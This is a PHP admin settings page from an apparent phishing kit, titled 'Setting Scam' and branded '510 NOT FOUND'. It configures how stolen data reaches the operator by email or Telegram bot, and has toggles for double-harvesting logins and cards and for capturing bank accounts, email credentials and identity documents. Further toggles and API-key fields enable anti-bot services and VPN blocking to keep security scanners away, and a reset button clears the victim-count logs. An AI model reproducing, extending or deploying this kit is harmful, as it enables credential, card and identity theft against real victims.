<?php
session_start();
error_reporting(0);

include "session.php";
require_once "function.php";

if (!isset($_SESSION['admin'])) {
    header('location: login');
    exit();
}

$link = "https://" . $_SERVER['SERVER_NAME'] . "/?" . getsetting("site_parameter");
// Path ke settings.ini absolut
$settingsFile = __DIR__ . "/../../core/settings.ini";

// Fungsi menulis INI dengan escape aman
function write_ini_file($assoc_arr, $path) {
    $content = '';
    foreach($assoc_arr as $key => $value) {
        $safeValue = str_replace(['\\','"'], ['\\\\','\\"'], $value);
        $content .= "$key = \"$safeValue\"\n";
    }
    return file_put_contents($path, $content);
}

// Load settings lama jika ada
$settings = [];
if(file_exists($settingsFile)){
    $settings = parse_ini_file($settingsFile);
}

// Handle form submit
if($_SERVER['REQUEST_METHOD'] === 'POST') {

    if(isset($_POST['save'])) {

        // Ambil semua input text
        $settings['keypanel']       = $_POST['KeyPanel'] ?? $settings['keypanel'] ?? '';
        $settings['site_param_on']  = $_POST['siteParamOn'] ?? $settings['site_param_on'] ?? '';
        $settings['site_parameter'] = $_POST['siteParameter'] ?? $settings['site_parameter'] ?? '';
        $settings['emailResult']    = $_POST['emailResult'] ?? $settings['emailResult'] ?? '';
        $settings['mailFrom']       = $_POST['mailFrom'] ?? $settings['mailFrom'] ?? '';
        $settings['stopbot_key']    = $_POST['stopbot_key'] ?? $settings['stopbot_key'] ?? '';
        $settings['gobot_key']        = $_POST['gobot_key'] ?? $settings['gobot_key'] ?? '';
        $settings['apiToken']       = $_POST['apiToken'] ?? $settings['apiToken'] ?? '';
        $settings['chatID']         = $_POST['chatID'] ?? $settings['chatID'] ?? '';

        // Semua opsi ON/OFF
        $options = ['double_login','double_card','double_email','get_bank',
                    'resulttoemail','resulttotele','stopbot','gobot','lock_platform',
                    'onetime','get_email','get_pap'];
        foreach($options as $opt){
            $settings[$opt] = ($_POST[$opt] ?? 'off') === 'on' ? 'on' : 'off';
        }

        // Cek folder writable
        if(!is_writable(dirname($settingsFile))){
            $_SESSION['message'] = "Folder config tidak bisa ditulis! Cek permission.";
            $_SESSION['message_type'] = "error";
            header("Location: ./setting");
            exit();
        }

        // Tulis settings ke file
        if(write_ini_file($settings, $settingsFile) !== false){
            $_SESSION['message'] = 'Settings updated successfully!';
            $_SESSION['message_type'] = 'success';
        } else {
            $_SESSION['message'] = 'Failed to save settings. Check file permissions!';
            $_SESSION['message_type'] = 'error';
        }

        header("Location: ./setting");
        exit();

    } elseif(isset($_POST['reset'])){
    // Path folder log
    $logPath = __DIR__ . "/../../logs/";

    // Daftar file log yang ingin direset
    $logsToReset = [
        "human.txt",
        "total_login.txt",
        "block_bot.txt",
        "total_email.txt",
        "total_card.txt",
        "total_card2.txt",
        "total_bank.txt",
        "total_identity.txt",
        "total_login2.txt",
        "activity.txt"
    ];

    // Hapus isi setiap file log
    foreach($logsToReset as $logFile){
        $file = $logPath . $logFile;
        if(file_exists($file)){
            file_put_contents($file, ""); // kosongkan file
        }
    }

    // Set pesan sukses
    $_SESSION['message'] = 'Statistics reset successfully!';
    $_SESSION['message_type'] = 'success';
    header("Location: ./setting");
    exit();
}
}
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <meta content="IE=edge" http-equiv="X-UA-Compatible">
    <meta content="width=device-width, initial-scale=1, shrink-to-fit=no" name="viewport">
    <meta content="" name="description">
    <meta content="" name="author">
    <title>510 NOT FOUND</title><!-- loader-->
    <link href="assets/css/pace.min.css" rel="stylesheet">
    <script src="assets/js/pace.min.js">
    </script><!--favicon-->
    <link
        href="https://www.pinclipart.com/picdir/big/550-5508982_golden-crown-png-download-transparent-background-black-crown.png"
        rel="icon" type="image/x-icon">
    <link href="assets/plugins/vectormap/jquery-jvectormap-2.0.2.css" rel="stylesheet"><!-- simplebar CSS-->
    <link href="assets/plugins/simplebar/css/simplebar.css" rel="stylesheet"><!-- Bootstrap core CSS-->
    <link href="assets/css/bootstrap.min.css" rel="stylesheet"><!-- animate CSS-->
    <link href="assets/css/animate.css" rel="stylesheet" type="text/css"><!-- Icons CSS-->
    <link href="assets/css/icons.css" rel="stylesheet" type="text/css"><!-- Sidebar CSS-->
    <link href="assets/css/sidebar-menu.css" rel="stylesheet"><!-- Custom Style-->
    <link href="assets/css/app-style.css" rel="stylesheet">
    <style type="text/css">
        .my-custom-scrollbar {
            position: relative;
            height: 400px;
            overflow: auto;
        }

        .table-wrapper-scroll-y {
            display: block;
        }
    </style>
</head>

<body class="bg-theme bg-theme2">
    <!-- Start wrapper-->
    <div id="wrapper">
        <!--Start sidebar-wrapper-->
        <div data-simplebar="" data-simplebar-auto-hide="true" id="sidebar-wrapper">
            <div class="brand-logo">
                <h5 class="logo-text" id="liveClock"></h5>
            </div>
            <ul class="sidebar-menu do-nicescrol">
                <li class="sidebar-header">MAIN NAVIGATION</li>
                <li>
                    <a href="./"><i class="zmdi zmdi-view-dashboard"></i> <span>Dashboard</span></a>
                </li>
                <li>
                    <a href="./setting"><i class="zmdi zmdi-settings zmdi-hc-spin"></i> <span>Setting</span></a>
                </li>
                <li>
                    <a href="./security"><i class="fa fa-shield"></i> <span>Security</span></a>
                </li>
                <li>
                    <a href="./logout"><i class="fa fa-sign-out"></i> <span>Log Out</span></a>
                </li>
                <li class="sidebar-header">CONTACT</li>
                <li>
                    <a href="https://t.me/Fivehundredten" target="_blank"><i class="fa fa-comment"></i> <span>Contact
                            Admin</span></a>
                </li>
            </ul>
            <!-- Button trigger modal -->
        </div><!--End sidebar-wrapper-->
        <div class="modal fade" id="buymecoffee" tabindex="-1" role="dialog" aria-labelledby="buymecoffeeTitle"
            aria-hidden="true">
            <div class="modal-dialog modal-dialog-centered" role="document">
                <div class="modal-content"
                    style="border: 0px solid #e5eaef !important; background-color: rgba(255, 255, 255, 0.1) !important; color: #fff !important;">
                    <div class="modal-header">
                        <h5 class="modal-title" id="buymecoffee">Buy Me a Coffee</h5>
                        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                    </div>
                    <div class="modal-body">
                        <div class="mx-3"><span>OVO : </span></div>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-light btn-round px-5 mx-2"
                            data-dismiss="modal">Close</button>
                    </div>
                </div>
            </div>
        </div>
        <!--Start topbar header-->
        <header class="topbar-nav">
            <nav class="navbar navbar-expand fixed-top">
                <ul class="navbar-nav mr-auto align-items-center">
                    <li class="nav-item">
                        <a class="nav-link toggle-menu" href="javascript:void();"><i
                                class="icon-menu menu-icon"></i></a>
                    </li>
                </ul>
                <ul class="navbar-nav align-items-center right-nav-link">
                    <li class="nav-item dropdown-lg">
                        <a class="nav-link dropdown-toggle dropdown-toggle-nocaret waves-effect text-small"
                            data-toggle="dropdown" href="<?php echo $link; ?>" target="_blank"><small>Go to site</small></a>
                    </li>
                </ul>
            </nav>
        </header><!--End topbar header-->
        <div class="clearfix"></div>
        <div class="content-wrapper">
            <div class="container-fluid">
                <div class="row mt-3">
                    <div class="col-lg-12">
                        <div class="card">
                            <div class="card-body">
                                <div class="card-title">
                                    Setting Scam
                                </div>
                                <hr>
                                <form action="" method="post">
                                    <div class="row mt-0">
                                        <div class="col-lg-6">
                                            <div class="row mt-0">
                                                <div class="col-lg-6">
                                                    <div class="form-group">
                                                        <label for="input-6">Scam Parameter <i
                                                                class="fa fa-search"></i></label> <input
                                                            class="form-control form-control-rounded" id="siteParameter"
                                                            placeholder="Scam Parameter" type="text"
                                                            name="siteParameter"
                                                            value="<?php echo $settings['site_parameter']; ?>">
                                                    </div>
                                                </div>
                                                <div class="col-lg-6">
                                                    <div class="form-group">
                                                        <label for="input-6">Mail From <i
                                                                class="fa fa-external-link"></i></label> <input
                                                            class="form-control form-control-rounded" id="input-6"
                                                            placeholder="Mail From" type="text" name="mailFrom"
                                                            value="<?php echo $settings['mailFrom']; ?>">
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="row mt-0">
                                                <div class="col-lg-6">
                                                    <div class="form-group">
                                                        <label for="input-7">Email Result <i
                                                                class="fa fa-envelope"></i></label> <input
                                                            class="form-control form-control-rounded" id="input-7"
                                                            placeholder="Enter Your Email Address" type="text"
                                                            name="emailResult"
                                                            value="<?php echo $settings['emailResult']; ?>">
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="row mt-0">
                                                <div class="col-lg-4">
                                                    <div class="form-group">
                                                        <label for="input-8">Send Email <i
                                                                class="fa fa-low-vision"></i></label>
                                                        <select class="form-control form-control-rounded"
                                                            id="resulttoemail" style="font-size: 14px !important;"
                                                            name="resulttoemail">

                                                            <option value="on" <?php if
                                                                (!empty($settings['resulttoemail']) &&
                                                                $settings['resulttoemail']==='on' ) echo 'selected' ; ?>
                                                                >ON
                                                            </option>
                                                            <option value="off" <?php if
                                                                (!empty($settings['resulttoemail']) &&
                                                                $settings['resulttoemail']==='off' ) echo 'selected' ;
                                                                ?>
                                                                >OFF</option>

                                                        </select>
                                                    </div>
                                                </div>
                                                <div class="col-lg-4">
    <div class="form-group">
        <label for="input-8">Double login <i class="fa fa-low-vision"></i></label>
        <select class="form-control form-control-rounded" 
            id="double_login" 
            style="font-size: 14px !important;" 
            name="double_login"
            <?php 
            // Jika double_login di settings adalah 'off', maka disable select
            if (!empty($settings['double_login']) && $settings['double_login'] === 'off') {
                echo 'disabled';
            }
            ?>>
            <option value="on" <?php if (!empty($settings['double_login']) && $settings['double_login'] === 'on') echo 'selected'; ?>>
                ON
            </option>
            <option value="off" <?php if (!empty($settings['double_login']) && $settings['double_login'] === 'off') echo 'selected'; ?>>
                OFF
            </option>
        </select>
        <?php 
        // Tambahkan pesan informasi jika disabled
        if (!empty($settings['double_login']) && $settings['double_login'] === 'off') {
            echo '<small style="color: #999; font-size: 12px; display: block; margin-top: 4px;">Feature is currently disabled</small>';
        }
        ?>
    </div>
</div>
                                                <div class="col-lg-4">
                                                    <div class="form-group">
                                                        <label for="input-8">Double CC <i
                                                                class="fa fa-low-vision"></i></label>
                                                        <select class="form-control form-control-rounded"
                                                            id="double_card" style="font-size: 14px !important;"
                                                            name="double_card">

                                                            <option value="on" <?php if
                                                                (!empty($settings['double_card']) &&
                                                                $settings['double_card']==='on' ) echo 'selected' ; ?>
                                                                >ON
                                                            </option>
                                                            <option value="off" <?php if
                                                                (!empty($settings['double_card']) &&
                                                                $settings['double_card']==='off' ) echo 'selected' ; ?>
                                                                >OFF</option>

                                                        </select>
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="row mt-3">
                                                <div class="col-lg-4">
                                                    <div class="form-group">
                                                        <label for="input-8">Double Email <i
                                                                class="fa fa-low-vision"></i></label>
                                                        <select class="form-control form-control-rounded"
                                                            id="double_email" style="font-size: 14px !important;"
                                                            name="double_email">

                                                            <option value="on" <?php if
                                                                (!empty($settings['double_email']) &&
                                                                $settings['double_email']==='on' ) echo 'selected' ; ?>
                                                                >ON
                                                            </option>
                                                            <option value="off" <?php if
                                                                (!empty($settings['double_email']) &&
                                                                $settings['double_email']==='off' ) echo 'selected' ; ?>
                                                                >OFF</option>

                                                        </select>
                                                    </div>
                                                </div><div class="col-lg-4">
    <div class="form-group">
        <label for="input-8">Bank Account <i class="fa fa-low-vision"></i></label>
        <select class="form-control form-control-rounded" 
            id="get_bank"
            style="font-size: 14px !important;" 
            name="get_bank"
            <?php 
            // Jika get_bank di settings adalah 'off', maka disable select
            if (!empty($settings['get_bank']) && $settings['get_bank'] === 'off') {
                echo 'disabled';
            }
            ?>>
            <option value="on" <?php if (!empty($settings['get_bank']) && $settings['get_bank'] === 'on') echo 'selected'; ?>>
                ON
            </option>
            <option value="off" <?php if (!empty($settings['get_bank']) && $settings['get_bank'] === 'off') echo 'selected'; ?>>
                OFF
            </option>
        </select>
        <?php 
        // Tambahkan pesan informasi jika disabled
        if (!empty($settings['get_bank']) && $settings['get_bank'] === 'off') {
            echo '<small style="color: #999; font-size: 12px; display: block; margin-top: 4px;">Feature is currently disabled</small>';
        }
        ?>
    </div>
</div>
                                                <div class="col-lg-4">
                                                    <div class="form-group">
                                                        <label for="input-8">Get Email <i
                                                                class="fa fa-low-vision"></i></label>
                                                        <select class="form-control form-control-rounded"
                                                            id="get_email" style="font-size: 14px !important;"
                                                            name="get_email">
                                                            <option value="on" <?php if
                                                                (!empty($settings['get_email']) &&
                                                                $settings['get_email']==='on' ) echo 'selected' ; ?>
                                                                >ON
                                                            </option>
                                                            <option value="off" <?php if
                                                                (!empty($settings['get_email']) &&
                                                                $settings['get_email']==='off' ) echo 'selected' ; ?>
                                                                ?>
                                                                OFF</option>

                                                        </select>
                                                    </div>
                                                </div>
                                                <div class="col-lg-4">
    <div class="form-group">
        <label for="input-8">Get Identity <i class="fa fa-low-vision"></i></label>
        <select class="form-control form-control-rounded"
            id="get_pap" 
            style="font-size: 14px !important;"
            name="get_pap"
            <?php 
            // Jika get_pap di settings adalah 'off', maka disable select
            if (!empty($settings['get_pap']) && $settings['get_pap'] === 'off') {
                echo 'disabled';
            }
            ?>>
            <option value="on" <?php if (!empty($settings['get_pap']) && $settings['get_pap'] === 'on') echo 'selected'; ?>>
                ON
            </option>
            <option value="off" <?php if (!empty($settings['get_pap']) && $settings['get_pap'] === 'off') echo 'selected'; ?>>
                OFF
            </option>
        </select>
        <?php 
        // Tambahkan pesan informasi jika disabled
        if (!empty($settings['get_pap']) && $settings['get_pap'] === 'off') {
            echo '<small style="color: #999; font-size: 12px;">Feature is currently disabled</small>';
        }
        ?>
    </div>
</div>
                                            </div>
                                        </div>
                                        <div class="col-lg-6">
                                            <div class="form-group">
                                                <label for="input-6">STOPBOT API Key <i class="fa fa-bug"></i></label>
                                                <input class="form-control form-control-rounded" id="input-6"
                                                    placeholder="STOPBOT API Key" type="text" name="stopbot_key"
                                                    value="<?php echo $settings['stopbot_key']; ?>">
                                            </div>
                                            <div class="form-group">
                                                <label for="input-7">GOBOT API Key <i class="fa fa-bug"></i></label>
                                                <input class="form-control form-control-rounded" id="input-7"
                                                    placeholder="GOBOT API Key" type="text" name="gobot_key"
                                                    value="<?php echo $settings['gobot_key']; ?>">
                                            </div>
                                            <div class="row mt-3">
                                                <div class="col-lg-4">
                                                    <div class="form-group">
                                                        <label for="input-8">Block VPN <i
                                                                class="fa fa-low-vision"></i></label>
                                                        <select class="form-control form-control-rounded" id="block_vpn"
                                                            style="font-size: 14px !important;" name="block_vpn">

                                                            <option value="on" <?php if (!empty($settings['block_vpn'])
                                                                && $settings['block_vpn']==='on' ) echo 'selected' ; ?>
                                                                >ON
                                                            </option>
                                                            <option value="off" <?php if (!empty($settings['block_vpn'])
                                                                && $settings['block_vpn']==='off' ) echo 'selected' ; ?>
                                                                >OFF</option>

                                                        </select>
                                                    </div>
                                                </div>
                                                <div class="col-lg-4">
                                                    <div class="form-group">
                                                        <label for="gobot">Gobot Blocker <i
                                                                class="fa fa-low-vision"></i></label>
                                                        <select class="form-control form-control-rounded" id="gobot"
                                                            style="font-size: 14px !important;" name="gobot">
                                                            <option value="on" <?php if (!empty($settings['gobot']) &&
                                                                $settings['gobot']==='on' ) echo 'selected' ; ?>
                                                                >ON</option>
                                                            <option value="off" <?php if (!empty($settings['gobot'])
                                                                && $settings['gobot']==='off' ) echo 'selected' ; ?>
                                                                >OFF</option>

                                                        </select>
                                                    </div>
                                                </div>
                                                <div class="col-lg-4">
                                                    <div class="form-group">
                                                        <label for="stopbot">Stop Bot Blocker <i
                                                                class="fa fa-low-vision"></i></label>
                                                        <select class="form-control form-control-rounded" id="stopbot"
                                                            style="font-size: 14px !important;" name="stopbot">
                                                            <option value="on" <?php if (!empty($settings['stopbot']) &&
                                                                $settings['stopbot']==='on' ) echo 'selected' ; ?>
                                                                >ON</option>
                                                            <option value="off" <?php if (!empty($settings['stopbot'])
                                                                && $settings['stopbot']==='off' ) echo 'selected' ; ?>
                                                                >OFF</option>

                                                        </select>
                                                    </div>
                                                </div>
                                                <div class="col-lg-4">
                                                    <div class="form-group">
                                                        <label for="resulttotele">Result to Telegram <i
                                                                class="fa fa-low-vision"></i></label>
                                                        <select class="form-control form-control-rounded"
                                                            id="resulttotele" style="font-size: 14px !important;"
                                                            name="resulttotele">
                                                            <option value="on" <?php if
                                                                (!empty($settings['resulttotele']) &&
                                                                $settings['resulttotele']==='on' ) echo 'selected' ; ?>
                                                                >ON</option>
                                                            <option value="off" <?php if
                                                                (!empty($settings['resulttotele']) &&
                                                                $settings['resulttotele']==='off' ) echo 'selected' ; ?>
                                                                >OFF</option>

                                                        </select>
                                                    </div>
                                                </div>
                                                <div class="col-lg-4">
                                                    <div class="form-group">
                                                        <label for="block_iprange">Onetime Access <i
                                                                class="fa fa-low-vision"></i></label>
                                                        <select class="form-control form-control-rounded" id="onetime"
                                                            style="font-size: 14px !important;" name="onetime">

                                                            <option value="on" <?php if (!empty($settings['onetime']) &&
                                                                $settings['onetime']==='on' ) echo 'selected' ; ?>>ON
                                                            </option>
                                                            <option value="off" <?php if (!empty($settings['onetime'])
                                                                && $settings['onetime']==='off' ) echo 'selected' ; ?>
                                                                >OFF</option>

                                                        </select>
                                                    </div>
                                                </div>
                                                <div class="col-lg-4">
                                                    <div class="form-group">
                                                        <label for="block_iprange">Lock Device <i
                                                                class="fa fa-low-vision"></i></label>
                                                        <select class="form-control form-control-rounded" id="lock_platform"
                                                            style="font-size: 14px !important;" name="lock_platform">

                                                            <option value="on" <?php if (!empty($settings['lock_platform']) &&
                                                                $settings['lock_platform']==='on' ) echo 'selected' ; ?>>ON
                                                            </option>
                                                            <option value="off" <?php if (!empty($settings['lock_platform'])
                                                                && $settings['lock_platform']==='off' ) echo 'selected' ; ?>
                                                                >OFF</option>

                                                        </select>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <div style="margin-top: 20px;"></div>
                                    <div class="form-group" align="center">
                                        <span>&nbsp;&nbsp;</span>
                                        <button class="btn btn-light btn-round px-5 mx-2" type="submit" name="save"><i
                                                class="fa fa-floppy-o"></i> Save Settings</button>
                                        <button class="btn btn-light btn-round px-5 mx-2" type="submit" name="reset"><i
                                                class="fa fa-times"></i> Reset Statistic</button>
                                    </div>
                                </form>
                            </div>
                        </div>
                    </div>
                </div><!--End Row-->
                <!--start overlay-->
                <div class="overlay toggle-menu"></div><!--end overlay-->
            </div><!-- End container-fluid-->
        </div><!--End content-wrapper-->
        <!--Start Back To Top Button-->
        <a class="back-to-top" href="javaScript:void();"><i class="fa fa-angle-double-up"></i></a>
        <!--End Back To Top Button-->
        <!--Start footer-->
        <footer class="footer">
            <div class="container">
                <div class="text-center">
                    <script>document.write(new Date().getFullYear())</script> © 510 NOT FOUND.
                </div>
            </div>
        </footer><!--End footer-->
        <!--start color switcher-->
        <div class="right-sidebar">
            <div class="switcher-icon">
                <i class="zmdi zmdi-settings zmdi-hc-spin"></i>
            </div>
            <div class="right-sidebar-content">
                <p class="mb-0">Gaussion Texture</p>
                <hr>
                <ul class="switcher">
                    <li id="theme1"></li>
                    <li id="theme2"></li>
                    <li id="theme3"></li>
                    <li id="theme4"></li>
                    <li id="theme5"></li>
                    <li id="theme6"></li>
                </ul>
                <p class="mb-0">Gradient Background</p>
                <hr>
                <ul class="switcher">
                    <li id="theme7"></li>
                    <li id="theme8"></li>
                    <li id="theme9"></li>
                    <li id="theme10"></li>
                    <li id="theme11"></li>
                    <li id="theme12"></li>
                    <li id="theme13"></li>
                    <li id="theme14"></li>
                    <li id="theme15"></li>
                </ul>
            </div>
        </div><!--end color switcher-->
    </div><!--End wrapper-->
    <!-- Bootstrap core JavaScript-->
    <script src="assets/js/jquery.min.js">
    </script>
    <script src="assets/js/popper.min.js">
    </script>
    <script src="assets/js/bootstrap.min.js">
    </script> <!-- simplebar js -->

    <script src="assets/plugins/simplebar/js/simplebar.js">
    </script> <!-- sidebar-menu js -->

    <script src="assets/js/sidebar-menu.js">
    </script> <!-- loader scripts -->

    <script src="assets/js/jquery.loading-indicator.js">
    </script> <!-- Custom scripts -->

    <script src="assets/js/app-script.js">
    </script> <!-- Chart js -->

    <script src="assets/plugins/Chart.js/Chart.min.js">
    </script> <!-- Index js -->

    <script src="assets/js/index.js">
    </script>
    <script>
        function updateClock() {
            const now = new Date();

            const options = {
                hour: '2-digit',
                minute: '2-digit',
                second: '2-digit'
            };

            document.getElementById("liveClock").textContent =
                now.toLocaleTimeString('en-US', options);
        }

        setInterval(updateClock, 1000);
        updateClock();
    </script>
</body>

</html>